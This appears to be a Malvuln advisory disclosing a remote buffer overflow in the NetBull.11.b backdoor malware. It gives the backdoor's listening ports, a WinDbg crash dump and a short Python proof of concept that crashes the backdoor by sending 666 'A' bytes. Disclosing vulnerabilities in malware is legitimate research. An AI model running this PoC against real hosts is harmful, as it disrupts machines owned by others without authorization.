Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/0e0fc966862971c29edd4dcaa0ba8e86.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.NetBull.11.b Vulnerability: Remote Buffer Overflow Description: NetBull.11.b listens on both TCP ports 23456 and 23457, sending a large junk packet results in buffer overflow overwriting stack registers. Type: PE32 MD5: 0e0fc966862971c29edd4dcaa0ba8e86 Vuln ID: MVID-2021-0066 ASLR: False DEP: False Safe SEH: True Disclosure: 02/02/2021 Memory Dump: The stored exception information can be accessed via .ecxr. (60.13dc): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=2e7a4010 edx=41414140 esi=00000003 edi=00000003 eip=773ced3c esp=0019ef84 ebp=0019f114 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!ZwWaitForMultipleObjects+0xc: 773ced3c c21400 ret 14h 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: mfc42!CString::CString+5 6fb385d5 8901 mov dword ptr [ecx],eax EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 6fb385d5 (mfc42!CString::CString+0x00000005) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 2e7a4010 Attempt to write to address 2e7a4010 PROCESS_NAME: Backdoor.Win32.NetBull.11.b.0e0fc966862971c29edd4dcaa0ba8e86.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 2e7a4010 WRITE_ADDRESS: 2e7a4010 FOLLOWUP_IP: mfc42!CString::CString+5 6fb385d5 8901 mov dword ptr [ecx],eax MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 000013dc BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_ffffffff DEFAULT_BUCKET_ID: INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_ffffffff LAST_CONTROL_TRANSFER: from 00405095 to 6fb385d5 STACK_TEXT: 0019f8c0 00405095 2e7a4000 2e7a4000 0019f8ec mfc42!CString::CString+0x5 WARNING: Stack unwind information not available. Following frames may be wrong. 0019f8d8 0040503b 041e50ec 41414141 0019f9bc Backdoor_Win32_NetBull_11_b_0e0fc966862971c29edd4dcaa0ba8e86+0x5095 0019f8f4 00404548 2e7a4000 2e7a4000 00000001 Backdoor_Win32_NetBull_11_b_0e0fc966862971c29edd4dcaa0ba8e86+0x503b 00000000 00000000 00000000 00000000 00000000 Backdoor_Win32_NetBull_11_b_0e0fc966862971c29edd4dcaa0ba8e86+0x4548 STACK_COMMAND: ~0s; .ecxr ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: mfc42!CString::CString+5 FOLLOWUP_NAME: MachineOwner MODULE_NAME: mfc42 IMAGE_NAME: mfc42.dll DEBUG_FLR_IMAGE_TIMESTAMP: d94bc78 FAILURE_BUCKET_ID: INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_ffffffff_c0000005_mfc42.dll!CString::CString BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_READ_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff_mfc42!CString::CString+5 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=23456 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PACKOLA = "A"*666 s.send(PACKOLA) s.close() print("Backdoor.Win32.NetBull.11.b / Remote Buffer Overflow"); print("MD5: 0e0fc966862971c29edd4dcaa0ba8e86"); print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).